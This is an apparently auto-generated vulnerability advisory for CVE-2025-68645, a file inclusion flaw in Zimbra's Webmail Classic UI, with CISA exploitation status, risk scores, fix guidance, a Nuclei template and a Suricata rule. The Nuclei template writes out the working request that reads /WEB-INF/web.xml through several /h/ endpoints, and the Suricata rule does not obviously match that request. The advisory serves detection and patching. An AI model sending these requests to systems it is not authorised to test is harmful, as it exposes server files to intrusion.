VULNpocalypse

CVE-2025-68645: Synacor Zimbra Collaboration Suite (ZCS) PHP Remote File Inclusion Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

A Local File Inclusion (LFI) vulnerability exists in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0 and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet. An unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory.

Description quoted from the CVE record (assigned by mitre, published 2025-12-22).

Weakness: CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and a user must take an action. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2026-01-22
US federal deadline
2026-02-12
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-16353, CNNVD-202512-3962, EUVD-2025-204719, GHSA-xc78-3c4g-m5g9

VEDAS cluster: VEDAS:FLUFFYTAIL

Exploit Observer links 15 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (15)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (6)

Catalogue entries, not exploit evidence.

23 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.489
likely to be attacked soon
VEDAS
0.977
strong exploit evidence
On CISA KEV
Yes, since 2026-01-22
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2026-01-22CVE-2025-68645 EPSS over time2025-122026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2026-01-22CVE-2025-68645 VEDAS over time2025-122026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 18 days before CISA confirmed attacks.

Who is affected

ProductAffectedNot affected
Not statedversion n/aNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Zimbra Collaboration - Path Traversal

A Local File Inclusion (LFI) vulnerability exists in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0 and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet. An unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /{{path}}?javax.servlet.include.servlet_path=/WEB-INF/web.xml); it decides using status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-68645.yaml
Show the template (55 lines)
yaml
id: CVE-2025-68645

info:
  name: "Zimbra Collaboration - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    A Local File Inclusion (LFI) vulnerability exists in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0
    and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet. An
    unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request
    dispatching, allowing inclusion of arbitrary files from the WebRoot directory.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-68645&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact
  classification:
    cve-id: CVE-2025-68645
  metadata:
    verified: false
  tags: cve,cve2025,zimbra,zcs,lfi,vkev,kev,vuln
http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

    payloads:
      path:
        - "h/rest"
        - "h/changepass"
        - "h/imessage"
        - "h/postLoginRedirect"
        - "h/printcalls"
        - "h/printcalendar"
        - "h/printvoicemails"
        - "h/printappointments"
        - "h/printcontacts"
        - "h/printconversations"
        - "h/printmessage"
        - "h/printtasks"
        - "h/viewimages"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?xml version"
          - "web-app>"
          - "Zimbra"
        condition: and

      - type: status
        status:
          - 200

CVE-2025-68645.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-68645 Zimbra Collaboration - Path Traversal. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-68645 Zimbra Collaboration - Path Traversal"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"index.php"; nocase; fast_pattern; content:"=http"; nocase; classtype:web-application-attack; reference:cve,CVE-2025-68645; reference:url,https://www.exploit.observer/?keyword=CVE-2025-68645&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact; sid:1003937; rev:2;)

CVE-2025-68645.rules on GitHub

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.